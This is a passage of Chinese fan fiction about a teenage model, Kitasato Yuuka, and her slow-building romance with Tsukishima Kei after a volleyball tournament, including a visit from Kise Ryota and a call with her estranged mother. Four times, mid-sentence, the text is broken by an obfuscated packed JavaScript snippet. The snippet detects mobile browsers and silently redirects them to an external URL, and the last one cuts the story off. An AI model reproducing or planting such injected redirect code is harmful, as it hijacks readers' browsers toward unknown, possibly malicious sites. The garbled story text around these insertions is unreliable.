所以北里悠花参加了女高中生选美大赛，她成为艺人、签约事务所、接下一个又一个的封面拍摄。她可以不吃碳水，可以极端节食，可以没有周末，可以接受责怪。 可她唯独接受不了自己成为一个拖累北里女士前进的废物。 8. 8. Yuuka： 「月岛君——睡了嘛？」 Tsuki： 「？」 Yuuka： 「虽然知道你肯定没问题，但还是想对你说——」 「明天的比赛加油哦（星星眼）」 Tsuki： 「好，谢谢。」 IH预选赛前一晚，月岛萤收到了北里悠花的应援讯息。 得益于在春高上的活跃表现，此次后援会在初回比赛就声势浩大，依旧由教导主任和冴子姐领头、太鼓和加油声此起彼伏，俨然成为赛场上最受瞩目的明星球队。 班级的同学也有许多来加油的，月岛萤匆匆扫了一眼、看到了佐佐木和星野杏他们熟悉的脸。 佐佐木一见他和山口出场，就激动地仿佛自己也和他们并肩站立在球网前一样，扯着嗓子大声喊道：“喂——山口——！喂——月岛——！加油啊——！” 山口忠朝他招了招手算回应，他则是点了点头。 北里悠花并没有来看比赛，月岛萤是知道的。 前几天田中前辈和西谷前辈就在大声谋划、说什么如果艺人小姐能够光临现场、那么大家必定能够超常发挥发个好球；又说如果艺人小姐看到他们在赛场上拼搏的英姿、说不定会芳心暗许云云，总之都是一些不切实际的荒唐想法。 两人说得过于兴奋，直到被路过的山口忠当头泼了一盆冷水：“你们在说北里同学吗？她不来看比赛哦。” 他俩继续默契地大叫道：“什么——？！怎么这样！——” 一副生无可恋的样子，感觉色彩都变成黑白、还在一片片地掉落碎片。 山口忠笑了笑：“听说是周末已经有工作安排了，毕竟艺人确实很忙。” 但是直觉告诉月岛萤，这也不过是北里悠花的借口。 她总是在着些地方上很聪明，比如给他发一句简单的应援短讯、这是最低成本的互动方式。 这些思绪也仅存在了五秒。 场地的灯还是很亮、发球的那一瞬间，他已经无暇思虑太多。 也正如北里悠花所祝福的那样，周六的乌野高校男子排球部顺利通过IH第一轮预选赛。乌鸦们再次盘旋于天际，奋力挥动黑色羽翼、朝去年未攀登到的山顶展翅翱翔。 北里悠花的消息非常灵通。 刚结束比赛，他的LINE就又收到了新消息。对方不知道什么时候将头像换成了那个戴着黑框眼镜的Q版小丸子。 Yuuka： 「恭喜呀！比赛辛苦啦。」 Tsuki： 「谢谢。」 他最近说谢谢的频率确实太高了点。 看着她的头像，月岛萤突然想、可能世界上没有第二个人会知道这个头像是北里悠花照着他画的。 “喂月岛，你一动不动地在看什么！”橘子脑袋从旁边窜出，将身子凑到他旁边。 还好日向翔阳脑子里对于“恋爱”的理解还停留在十岁左右，所以即便看到了那个头像也只是以为月岛萤在发呆。赢下了比赛他心情极佳，开始神气地吹嘘刚刚自己在比赛里接下的那个神之一球。 月岛萤利落地将手机锁屏，照例开启嘲讽模式：“是是，多亏了你才接到神之一球，也多亏了你今天发球又失误了两分。” 果不其然，橘子脑袋又炸毛了。 王様在喝水看戏。 山口忠开始劝架。 学弟们面面相觑，两个三年级的端起了前辈架子、一脸老成地说“别介意、他们一直这样”。 今天的排球部也还是一片祥和。 * 北里悠花看着自己新换的头像非常满意。 自己的画技精湛当然是一方面，而另一方面、是月岛萤也肯定看到了。 毕竟她前几天都特意强调了，这是“月岛君版的小丸子”，他不会认不出。这是属于他们的秘密，也是心照不宣的相通。 越是自诩为清醒理性的人，越会刻意地回避自己的心理波动。 虽然健身房就在公寓楼下，但不想被别人看到邋遢样子的北里悠花还是特意涂了气垫和口红、在健身房的跑步机上消耗卡路里。 半小时的空腹有氧后，全身冒汗的北里悠花打算打道回府。 正在此时却收到了意外嘉宾的消息。 KiseRyota☆： 「小悠花☆~今天准备干什么？要一起约会吗？」 别误会，当初加好友的时候黄濑凉太一定要在他的备注后面加上这个闪亮亮的五角星符号，说是能看一眼就知道是他发消息来了。 北里悠花对此鄙夷了许久，毕竟她和黄濑凉太还没有关系好到要用一个特殊备注。 Yuuka： 「没空呢~而且黄濑君是不是忘了，我已经转学到仙台了，更不可能和在东京的你约会了呢。」 她回复黄濑凉太的语气一直很直接。 北里悠花当然知道对方可能对自己抱有一些好感，这不是自我感觉良好、而是因为黄濑凉太偶尔也会使用一些“暧昧用词”，释放心动信号。 像是约会，像是情侣装。工作的便利让他从来就对此感到顺理成章，好像他们扮演的“恋人”在现实里也如此亲密。 毋庸置疑、黄濑凉太是个实打实的帅哥。他棱角分明的脸上找不出一丝瑕疵，在人群里离着二十米远就能发现他的存在，但很可惜——不是她的菜。 KiseRyota☆： 「怎么可能忘记呢。」 「所以我现在在仙台呀。怎么样？要和我在仙台站前的咖啡店吃个甜品吗？」 搞什么，竟然一声不吭跑到仙台来了。 北里悠花认识黄濑凉太很久了。 从国中入行那年起，他们一起成为了日向小姐的艺人。到现在，竟然快三年。 所以她太了解黄濑凉太不像表现出来的那般人畜无害。在小事上或许可以嬉闹过去，可一旦是他真正想要的、又会想尽一切办法得到。 跟小孩一样。 黄濑凉太很幼稚、还没有长大。 北里悠花无奈地打字回复。 Yuuka： 「等下见吧。」 她上楼卸妆、简单冲了个澡。又重新将脸上的妆容补齐，换了一套低调的牛仔连衣裙前往黄濑凉太所在的咖啡店。 作为仙台市区人流量最密集的区域，周末的仙台站聚集了来自四面八方的旅客。咖啡店就开在距离车站不远的街道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522830|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边，装修复古、墨绿色的挂灯和酒红色的沙发都透着一股浓浓的昭和味。 北里悠花推门进入咖啡店时、店内几乎快要坐满。 黄濑凉太特意挑选了一个“低调”的座位，在店里的一个角落。但他本人低估了自己的人气，此时已经有很多年轻女性在偷偷打量议论他，甚至邻桌的小女生都开始拿出手机准备要联系方式了。 他点了一杯美式，正在百无聊赖地等待北里悠花。在听见店门口的铃铛响动时，立刻投来目光。见到来人是北里悠花，兴奋地朝她挥手。 北里悠花微笑点头，顺手拿出包里的口罩戴上。 虽然还知名没到这个程度，可万一被有心人士造谣她就完蛋了。毕竟黄濑凉太对于模特这个工作并未倾注百分百的心血，以后大概也不会成为艺人而是去打篮球。但对北里悠花来说，只有成为艺人这一个选项。 “怎么突然来仙台了。”刚坐下，她就向对方发问。 黄濑凉太递来菜单：“小悠花好冷淡，至少先看看喝点什么嘛~听说这家的冰抹茶拿铁是招牌哦。要不要再点一块提拉米苏？我们可以分着吃。” “不用了，我也要一杯美式就好，最近在减肥。”北里悠花婉拒。 黄濑凉太今天显然精心打扮过。 每一根发丝都被发蜡固定得细致妥当，穿的也都是低调的潮牌。脖子上是一根西太后的银色土星项链，和胸前的小logo完美呼应。 “所以，你到底为什么会突然出现在仙台？” 黄濑凉太叹了口气：“小悠花老是不相信我。”说着他从椅子上的挎包里拿出一个白色的小盒子，上面正是和他脖子上一样的土星标志，“下周三是你的生日吧，可是那天我不能赶过来、只好今天过来给你礼物了。” “十七岁生日快乐，小悠花。”黄濑凉太笑着看向她的眼睛，“我应该是今年第一个祝你生日快乐的人吧。” 十七岁的黄濑凉太有蛊惑人心的能力。 店内温暖的光圈柔和了他的表情，黑胶唱片机适时地播放了一首city pop、是关于青涩的爱情。 和黄濑凉太对视时，总有一种他的世界只剩下你的错觉。 但北里悠花并非第一天认识黄濑凉太，她早就能做到脸不红心不跳地、用三十几度的嘴说出最冷漠的话。 “谢谢，你确实是第一个。” 指尖碰到玻璃杯、冰美式带来的冷意让人瞬间清醒。北里悠花接过礼物、将盒子打开。 里面果然是和黄濑凉太同款的土星项链、只是要小一号。 “怎么样，是不是很漂亮？” “嗯嗯。”北里悠花点了点头、应付道，“谢谢啦，我会经常戴的。” 黄濑凉太也很了解北里悠花，就像北里悠花了解他那样。 所以他知道北里悠花总对他带有微妙的恶意、不甚明显，却在多年的相处之中被他察觉。 也知道北里悠花只是嘴上说着漂亮话，其实根本不会戴他送的礼物——大概是怕和他扯上太多关系吧。 真是狡猾，明明该利用他的时候全利用了。 黄濑凉太于是伸手将项链取出：“小悠花今天穿得就很适合戴哦。” “不如现在就戴上试试看吧~！” 9. 9. 黄濑凉太的眼睛是如琥珀般的暖金色。 北里悠花被他盯得有些不自在、垂下目光躲开过于灼热的视线。桌上的冰美式还一口未动，从坐下到现在她甚至连口罩都没有摘下过。 黄濑凉太偏偏在这时候格外固执，那条土星项链正静静躺在他的手心。 好烦、好想回去。 北里悠花不是什么好脾气的人，她很容易感到不耐烦。尤其是当事情未按照剧本发展、而自己还处于进退两难情况的时候。 现在就是这样—— 戴上项链、她再花个几分钟就能轻松打发掉黄濑凉太然后回家享受周末，但这就随了对方的心意、今后绝对会继续得寸进尺； 不戴项链，还不知道要在这里再耗多少时间，而且、他也确实是专程从东京来仙台送她生日礼物的。饶是北里悠花再冷漠、也不好这样不讲情面，毕竟之后还要合作。 短暂思考了片刻后。 北里悠花接过那条项链戴到了自己的脖子上。 黄濑凉太确实很有品味，小巧的土星闪烁着漂亮的银光正好落在锁骨下方，衬得肤色更加白皙。 “果然很适合小悠花。” 黄濑凉太单手托着下巴、笑着看她。 计谋得逞后，他的心情明显愉悦不少、整个人都像一只刚被顺完毛的大金毛。 北里悠花在心中默默翻了个白眼。 接着她从善如流地拿起身边的包包，露出商业微笑：“谢谢黄濑君今天特地来送我生日礼物。时间也不早了，你还要赶回东京吧？我正好送你去车站。” 谢天谢地黄濑凉太选了车站边的咖啡店，等下走五分钟就能把这位棘手人物送回东京了！ 黄濑凉太看到北里悠花戴着他送的项链、只觉得十分可爱。他并没有要走的想法，可今天也算达到了目的——再呆下去反而会适得其反。 所以他点了点头：“好呀，小悠花还是那么贴心~” 离开咖啡店走去车站的路上，两人并肩行走的样子非常吸睛。 潮男黄濑凉太自然不必说，戴着口罩的北里悠花更让路人在猜测这是不是哪位知名艺人。再加上脖子上还戴着同款项链，是哪对偷溜出来的练习生情侣也说不定。 好在他们现在的知名度还没有那么高。 黄濑凉太虽然经常上封面、但毕竟这也只是他的兼职。他玩SNS的频率较低，曝光度不及北里悠花，被人认出来的机率也少许多。 而北里悠花又在该低调的时候十分低调，注意到路人纷纷投来好奇的视线后她就低下了头、和黄濑凉太隔开一小段距离走，将自己的存在感降到最低。 五分钟的路程很短。 把黄濑凉太送到进站口时，北里悠花终于摘下口罩，露出了今天最真诚的笑容：“拜拜黄濑君，路上小心哦。” 也就是这时、她和刚结束IH第一轮预选赛，正好从仙台站出站的月岛萤四目相对。 * 月岛萤穿着一身黑色队服，因为刚结束比赛他肩上还背着一个运动背包。眼神淡淡，即便看到北里悠花了也只是点了点头、丝毫没有上前打招呼的意思。 他和黄濑凉太几乎一样高、两人又都是金色头发，风格却大相径庭。 黄濑凉太可以平等地对所有碳基生物释放魅力，如果放在言情小说里绝对是“男主角”的最佳设定。他能理所当然地享受校园里所有女生的爱慕，总是在欢呼和鲜花中闪亮登场。甚至还是出身在东京的city boy，有着令人艳羡的模特副业。 而月岛萤总冷着一张脸，不知道为什么有种拒人于千里之外的拽感。他会不自觉地担任起“审判者”的角色，拥有一套自己的逻辑体系。像一个匀速旋转的齿轮，永远不会驶入偏离的轨道、冷眼旁观外界发生的一切。 北里悠花并不排斥现在的桥段。 有些烂俗，但正中她的下怀。 作为“审判者”，月岛萤的世界是规律的。 他规规矩矩地当高中生：参加热血部活、完成每一次考试、有三两好友与和睦的家庭。 他的生活不是言情小说，也从没有过男女主角的出现。 但很不巧的是，今天“男主角”黄濑凉太和“女主角”北里悠花、一起登上了“审判者”的舞台，在他的世界里开始演绎老土的分别桥段。 “拜拜小悠花，下次再见咯。” 黄濑凉太正对着北里悠花站立，自然没有看到后面的月岛萤。 他在打道回府之前又强调了一遍“要记得经常戴这条项链”，表现出的俨然是一副听话粘人的异地男友形象。就算只是得到了北里悠花的几句搪塞，也乐此不疲地露出一张阳光的笑脸、好像北里悠花无论说什么他都不会生气。 而北里悠花的思绪早就不在原地，她看到月岛萤正从另一边的闸机出口离开。 在黄濑凉太终于完全从视线里消失后，她转身朝月岛萤走的方向飞奔而去。 * 今天比赛结束后月岛萤并没有随队内的大巴一起回学校。 恰巧月岛明光和大学的朋友正在仙台站附近聚餐，听说乌野初回比赛胜利后便邀请了他当作庆功宴。当然、也是顺便宣传下自己所在的大学，因为月岛萤明年开始要为高三升学做准备。 月岛萤没想到会在车站撞见北里悠花。 看到她时她站在检票闸机外，正好将脸上的口罩摘下。妆容比平时更淡一点，脸上还有戴了太久口罩压出的浅浅红印。 只听北里悠花对着穿着时髦的少年笑意盈盈地说“路上小心哦”，至少远远看去、两人十分般配。 方才只是一瞬间的擦肩而过，却足以让月岛萤认出，刚刚和北里悠花告别的对象就是杂志封面的另外一位主角、黄濑凉太。 黄濑凉太对北里悠花的称呼十分亲昵。 他的脖子上戴了和北里悠花同款的土星项链，折射出冷冽的光。 月岛萤不想让这些无意义的事情占据自己的大脑，于是他选择直接离开并步行至聚餐地点。 天气逐渐进入夏天，空气隐隐有一些闷热。好在突然吹来一阵凉爽的风，和风一起来的、还有北里悠花的声音。 跟那天夜跑时如出一辙。 带着一点兴奋的、放松的、无比生动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522831|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而呼唤的是他的名字。 “月岛君——好巧啊——！” 最后北里悠花追赶上月岛萤的脚步，站定在他面前。 她是跑过来的，所以呼吸还有些不均。缓了口气才接着说：“月岛君明明看到我了，还走那么快。” 是在抱怨、又有些像撒娇。 “不过没想到那么巧能在这里碰到。”北里悠花很会自我调节情绪，语气又变得开心、眼睛还是亮晶晶的，“那正好可以弥补上午的遗憾啦，可以当面跟你说声恭喜。但总而言之，今天的比赛辛苦啦月岛同学~” “谢谢。” 月岛萤发现自己有些语拙，所以每一次的答复都是一句道谢。 “你怎么一个人回来呀，没和日向同学她们一起吗？”现在北里悠花也对着他笑意盈盈了。 月岛萤如实回答：“和家里人约好了在附近吃饭。” 北里悠花顺势追问：“是和爸爸妈妈吗？” 他就差把“和你有关系吗”这句话写在脸上了，但依旧一板一眼道：“不是，是哥哥。” 北里悠花了然地点了点头：“原来月岛君还有哥哥啊。” 现在她基本确定了，月岛萤并不反感她，否则以对方的性格肯定不会随便透露自己的家庭情况。甚至可以说，月岛萤心中大概也对她有一丝丝、不易察觉的好感。 他的心理防线还没有完全松动，而刚好、北里悠花也没有选择直接将“喜欢”宣之于口。 “忘记和你说啦，刚刚的是黄濑凉太。我们是一个经纪人带的，所以平时互动比较多。但只是普通同事哦！” 当然，今天黄濑凉太特地跑来送她生日礼物这件事就不必跟月岛萤说了。 月岛萤语气平静：“为什么要和我解释？” 她和黄濑凉太是什么关系，与他无关。而且、月岛萤看着她脖子上的项链，只觉得北里悠花说出的话十分牵强可笑。 北里悠花也注意到月岛萤在看她的项链，继续补救：“因为我也没想到、我和他今天竟然戴了同款项链，所以不想让你误会呀。” 没错，她只是不想让月岛萤误会、说个小小的谎言也无伤大雅，反正本来就是黄濑凉太硬要她戴的。况且这条项链本就是人气款，假装是碰巧买到一样的也不奇怪。 “这样。”月岛萤并未深究。 究竟是谎言还是事实，对现在的月岛萤来说都不重要。 他看了眼手机时间：“抱歉，我要先走了。” “那我不打扰你了。”北里悠花很识趣，不过今天的偶遇也必须要给月岛萤留下点印象。 “今天晚上也可以和你发消息嘛？” 这是北里悠花最擅长的表情。 身高差让她能微微仰着头、露出楚楚可怜的表情来，眼神像有一层薄薄的水光。此时以月岛萤的视角看，自己的脸也会正好是最显瘦的完美角度。 她在试探月岛萤、征询他的同意。 月岛萤看了她一眼，丢下了一句：“随便你。” 他的回答有那么重要吗？反正北里悠花不管他答不答应都会发消息来。 10. 10. 与月岛萤分别回到家后，北里悠花给自己洗了两根黄瓜当作晚饭。为了防止自己饿死，又抓了一把该吃的营养补剂和胶囊往嘴里送。她将电视里漫才节目的声音调到最大，搞笑艺人夸张的对话在空荡荡的房间里回响。 来到仙台之后，北野悠花很少感到孤独。她一直能很好地自洽，只是偶尔会在经期前有些敏感。再加上长期控制碳水的摄入，一到月末的夜晚就容易情绪低落。 当初转校来乌野时，她给出的冠冕堂皇的理由是“事务所有长期企划在仙台拍摄”和“祖父是仙台人”。但其实根本没那么多弯弯绕绕，她只是想换一个环境生活。 北里悠花转学来乌野高校前，就读于东京的某所私立学校。 当初入学考试时不知为何走了狗屎运，压线考进这所偏差值奇高无比的精英院校。周围全是用功读书的好学生，成绩是衡量学生的唯一标准。 可北里悠花就属于那一类“天生不适合学习的人”，进入高中后她也试过很努力地学习、挑灯夜战、反复刷习题。可最后的结果还是在及格线上下，每个月公布排名时只要从榜单最末尾开始找三秒钟就能看到自己的名字。 但她的长相和模特身份在一群认真学习的高中生面前格格不入，还经常被误解是没有把心思放在学习上面。 每当这时北里悠花就想反驳，她也学了，可就是学不会啊！但仔细想了想、与其被人当作是天天努力但还是只考低分的笨蛋，还不如就被误解成不爱学习的美少女算了。毕竟后者听起来更好接受一些。 所以北里悠花意识到自己根本没有学习的天赋，估计大学也会随便找个专门学校精进演技。 承认自己是个普通人很难。 高压的东京像一张密不透风的网，将北里悠花牢牢锁在其中——那又何必勉强自己去做不适合的事情呢。换个学校好了，回到童年的夏天经常待的仙台。 当时说服北里女士在监护人同意书上签字废了一番口舌，在她据理力争之后强硬的北里女士也败下阵来。因为这一年，北里女士正式从店里的No.1女公关转型成幕后人员，负责整家店的营收与人员安排、可以说是分身乏术。母女俩一个当艺人一个从事夜晚工作，根本没什么相见的时间。 “妈妈，我毕业了就回东京。” 这是她给北里女士的保证。 于是从签完字那天开始，母女二人的关系就降至冰点。再上次见面，就是上次去歌舞伎町的不欢而散了。 北里悠花有时候也不明白，明明每次都想好好和北里女士沟通、但为什么聊到最后都会变成互相责怪呢？明明是世界上最为亲近的两个人才对啊，明明当初在旧公寓里、她们从来没有吵过架。 真是好奇怪。 十七岁的北里悠花总觉得自己已经很成熟，但又有时、又好像还是那个躲在妈妈怀里缩成一团的一年级小鬼。 她和北里女士平时很少在LINE上闲聊，不过她还是每天会给对方报个平安、告诉北里女士她还好好活着不用担心。“钱还够用吗”是北里女士最常发给她的话，贫穷对她的阴影实在太大了、以至于到了现在还不能摆脱。 而北里女士的LINE头像这么多年一直没变过——是小学时北里悠花画的小兔子。那时候北里悠花的画工还没到画小丸子的程度，连画的小兔子都一只眼睛大一只眼睛小、十分滑稽。但北里女士却一直夸她特别有绘画天赋，还立马用低像素的手机拍下来、换作了头像。 好丢脸。 今天北里悠花格外思念北里女士。 所以她拨通了北里女士的电话。 电话过了一会儿才被接通，那边有点吵、北里女士应该正在店里准备今晚营业的事宜。 “悠花？” 听到北里女士的声音，北里悠花喉咙有些干涩：“妈妈。” 却说不出后半句的“我好想你”。 “钱还够用吧。” “够用。” 北里女士大概是走出店门了，那些嘈杂的音乐一下子消失了、只剩下呼吸的声音。 “……上次妈妈情绪有些激动，对不起。” “…………我才是，对不起。” 这个晚上北里悠花对着电话泪流满面。 她想，自己果然还是不够坚强。 * 月岛萤并没有收到北里悠花的消息，那个会在他每晚洗澡后雷打不动弹出新消息的LINE今晚静悄悄的。 他觉得北里悠花在某些方面实在可怕。比如不知不觉间就养成了他在睡前回她消息的习惯、到了今晚身体准点出现了肌肉记忆。点开对话框还停留在上午的比赛应援，而下午偶遇时对方还信誓旦旦地和他说今晚也要给他发消息。 艺人果然和狗仔报道的一样、喜怒无常。 月岛萤在对话框里输入了一个「？」，手指却在发送键上停顿许久。应该在聚餐的时候问一下她有没有安全到家的，现在尴尬的莫名其妙变成了他。 于是月岛萤把这个「？」删除，转而输入了一句： Tsuki： 「你到家了吧。」 北里悠花迟迟没有回复。 直到月岛萤都打算关灯睡觉了，手机才再次亮起。 Yuuka： 「嗯嗯，晚安。」 月岛萤没理由地觉得北里悠花今晚心情不佳。 她的话过于简短，没有在句末加上那条她最爱用的波浪线“~”；甚至今晚连那个眼镜月亮表情包都没有出场机会了，确实可疑。 难道不是本人？ 他打算再确认一下。 只见这时对面单独发来一条： Yuuka： 「（月亮）」 随着眼镜月亮表情包再次登场，月岛萤的顾虑打消——对方绝对是保真的北里悠花。 他没有安慰北里悠花、也没有关心北里悠花。只是将频繁出现的月亮表情包保存了下来，发给了北里悠花。 Tsuki： 「（月亮）」 北里悠花又是过了一会儿才回复，以往她手机不离手、几乎天天秒回。 但发来的内容却有些让人摸不着头脑。 Yuuka： 「是月岛萤本人吧？」 Tsuki： 「？」 Yuuka： 「好的，已经鉴定完毕，是月岛萤本人。」 Tsuki： 「？」 怎么确认的？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522832|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Yuuka： 「因为只有月岛君你喜欢打问号。」 Tsuki： 「……」 Yuuka： 「还有省略号也是！」 月岛萤几乎能想象出北里悠花的语气。 她老是得了便宜还卖乖、一点小事也能夸张化，好像使用问号和省略号是多么严重的事一样。不过对方应该有精神一点了，至少能用力地打出感叹号了。 Yuuka： 「对了一直没问你欸，上次的礼物你有拆开看嘛？」 Tsuki： 「拆开了。」 月岛萤与架子上的恐龙模型们对视。 其中有一只剑龙是新鲜加入的，体积很小、做工却极其精细。无论是骨骼走向还是四肢的弯曲程度，全都栩栩如生——这正是那个被装在绿色礼物盒里，北里悠花从东京给月岛萤单独带的伴手礼。 为了彰显这份礼物的与众不同，北里悠花还特地给他写一张卡片，上面喷了点平时用的淡香。与那个歪歪扭扭的丝带蝴蝶结不同，北里悠花的字迹非常工整： 「月岛君： 东京国立博物馆正好在举办恐龙化石展览会，特别周边就是这个等比例缩小版的迷你剑龙哦~我排了三个小时才买到的呢QAQ希望你喜欢。」 三个小时绝对是夸张修辞。 按照北里悠花上次说自己花了两小时制作从超市买的纸杯蛋糕看来、她实际上排队买这个恐龙模型的时间应该不超过十五分钟。 但就和上次一样，作为既得利益者的月岛萤也能读懂北里悠花更深层的意思，是：“我了解你”、“我一直有注意到你”、和“我们之间有独特的联系”。 掌握了这三点的北里悠花，确实完美掌握了他的喜好和想法，他没有理由拒绝一份他感兴趣的礼物。 或许是受到月岛明光的影响，月岛萤确实从小就对恐龙充满好奇。 人类对恐龙的了解始终停留在化石证据之上，这是一种绝对客观的逻辑体系。仅依靠推理与实证、就能表明四十亿年前侏罗纪时期的存在。多么愚蠢盲目，却又符合他的思维定律。世界不需要太多感性变化，就和拦网一样，通过分析和预判就能推翻一切、乃至宇宙。 模型需要被展示出来，那就只能放在房间最显眼的架子上。 偏偏和所有一般的恐龙模型不同，这个剑龙还是超迷你尺寸的、一定要放在最前面才不会被其他恐龙遮挡住。 所以每天睁开眼、上学、回到家、闭上眼睡觉，月岛萤都会看到它。 再不情愿回答也是事实。 Yuuka： 「是不是很不错？」 Tsuki： 「做工确实比一般的模型好很多。」 Yuuka： 「嘻嘻，我就知道你会喜欢~」 「其实我今晚本来心情有点不好，但是跟月岛君聊完感觉开心多了（笑）」 Tsuki： 「嗯」 Yuuka： 「所以我现在有点困啦。」 「这次是真的晚安啦（月亮）」 Tsuki： 「（月亮）」 11. 11. 众所周知，日本高中生活的定番三件套是：学园祭、运动会和修学旅行。 随着时间进入五月中旬，初夏除了带来炎热之外、还带来了牵动所有乌野学生思绪并位于三件套榜首的学园祭。 每年学园祭，至少能出现三个鬼屋、两个女仆执事咖啡厅、五场由经典童话改编的话剧表演——还必须得是男女反串出演的。而月岛萤和北里悠花的班级也非常符合定律、从选择学园祭的执行委员就充满了俗套。 执行委员共一男一女两人，由班级所有人以匿名投票形式选出。 当然、这并不是一个好差事。除非你有十足的把握能让自己的暗恋对象也当选成功、在准备学园祭期间搞些小暧昧，否则就只是一件吃力不讨好的工作。 不仅要早到晚退、应付一些不愿意干活的消极同学，还要把这一个月几乎所有的业余时间都用来思考班级要如何筹办活动。 一言以蔽之，累得要死。 所以当身为副班长的村上由奈来问北里悠花有没有兴趣当女生执行委员时，北里悠花仅用了零点五秒思考就拒绝了。 “悠花你真的不考虑当这次的执行委员吗？大家都很期待你能当呢。”村上由奈是这么说的。 北里悠花还是使用了自己的老套路，万能的工作挡箭牌。 她作出一副十分抱歉的表情，看上去真诚极了：“抱歉啊由奈，六月是我一年里最忙的时候、几乎所有空余时间都被事务所排满了……” 闻言村上由奈非常配合地表示理解：“天哪悠花。”她一边说一边心疼地拍了拍北里悠花的肩膀安慰她道，“你的事务所简直太压榨你了，可恶的资本家！” 面对好友的义愤填膺，北里悠花装作无奈的样子：“这也是没办法的事，毕竟是工作嘛。” “那你都要忙些什么呀，还是拍封面吗？” 北里悠花摇了摇头：“是要去大阪走秀，所以这一个月都要好好练习姿势，事务所也特别给我安排了形体老师在放学之后指导我。” 这倒是没骗人。 每逢季节更替之前，就是时尚潮人们最忙碌的时候。北里悠花这次受邀成为的，就是KANSAI COLLECTION（关西时尚盛典）的走秀嘉宾。不像传说中的巴黎时装周那样高端，它更受Z世代年轻人的欢迎。 日本的模特门槛并不似真正的时装周那么高，嘉宾基本都是爱豆艺人、杂志模特、网红和时尚爱好者。 走秀穿的衣服也并非那些重奢高定，而是较为平价的大众服装品牌和平价少女品牌。营造出一种“谁穿了都能变得可爱”的轻松之感。生活化的妆容搭配最潮流的新品服饰，T台上走秀的模特们就成为了无数JK们的梦想模板。 北里悠花的YouTube频道与IG数据很好、加上又是杂志的签约模特，这次就专门有知名的服装品牌点名要北里悠花穿他们牌子的服装走秀，说她非常符合品牌“Z世代少女感”的设计理念。 眼下，这场时尚盛典就成了她摆脱执行委员工作的最佳帮手。 “不过大家如果有什么别的工作需要我来做的，我一定尽我所能。” 反正没什么活能比执行委员还累了。 北里悠花说这句话时，正好在佐佐木同学旁边。于是不到两节课，北里悠花要成为时装周走秀嘉宾且没有时间当执行委员的事就被传播开来。 鉴于一号种子选手北里悠花的自动退赛，匿名投票时、村上由奈以压倒性的优势连续第二年成为女生执行委员。而和她搭档的男生、是同样蝉联两届执行委员的班长。 属实是皆大欢喜的结局。 接下来就到了开班会确定班级节目的时候。 村上由奈站在讲台上主持：“大家对于今年的节目有什么意见吗？请随意发言。” “鬼屋怎么样？” “拜托桥本，去年光一年级就有三个班级搞鬼屋了好吗！” PASS。 “我觉得女仆咖啡厅不错！” “佐佐木明明是你自己想看女生们穿女仆装才对吧！” PASS。 “要不演话剧？” “去年不就是演的□□版白雪公主，感觉能演的都被演过了欸。” ……PASS？ “但今年不是有北里同学在吗？感觉能吸引很多人来看我们的节目。” “对啊对啊，不如让北里同学来当我们的主角吧。” “可北里同学不是工作很忙吗……” “……” 北里悠花努力让自己成为一个隐形人，装作没有听到班级同学七嘴八舌的讨论声。才五分钟不到，自己就被他们安排得明明白白了。 对于出演女主角她自然没有什么反感，毕竟这是一件能在学校里大出风头的机会。可她不能主动提出要担任主角，而是需要一直保持沉默、直到大家的讨论进入尾声，那句最关键的话出现： “北里同学，拜托你了！能不能当我们这次话剧的女主角啊！” 终于，男班长代表整个班级、言辞恳切地向北里悠花递来女主角的邀请函。 “欸？我来么？”她假装惊讶道，一脸“没想到大家那么信任我”的表情，“当然可以，虽然我不是专业演员，但如果大家不嫌弃的话，我很乐意尝试一下。” “太好了！！！” “感谢你，北里同学！” “我们班今年不会拿人气奖吧？！” 男生们雀跃的道谢声此起彼伏。村上由奈只好清了清喉咙，开始维持秩序：“好了好了，那我们接下来就定一下这次演什么吧。” * 《项链》是莫泊桑的经典短篇小说。 讲述了小公务员的妻子玛蒂尔德为参加晚会，向贵妇朋友借了一串钻石项链却意外丢失，只能借钱买了新项链还给朋友。之后的十年她都一直在打工还债，直到还清债务再次与朋友重逢、才得知那串钻石项链竟然是假的。 而同学们却一致决定另辟蹊径、决定彻底重新改编这部小说。 小公务员的妻子玛蒂尔德为参加晚会，向贵妇朋友借了一串钻石项链却意外丢失。 但家中根本没那么多钱可以购买真品。于是玛蒂尔德买来了一串高仿莫桑石项链还给了朋友。她惴惴不安了好几周，发现朋友并未察觉项链是假的。 这之后，玛蒂尔德开始寻找高仿莫桑石假冒钻石。将莫桑石项链卖给富人、而收取钻石项链的钱。最终她靠出卖良心，成为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 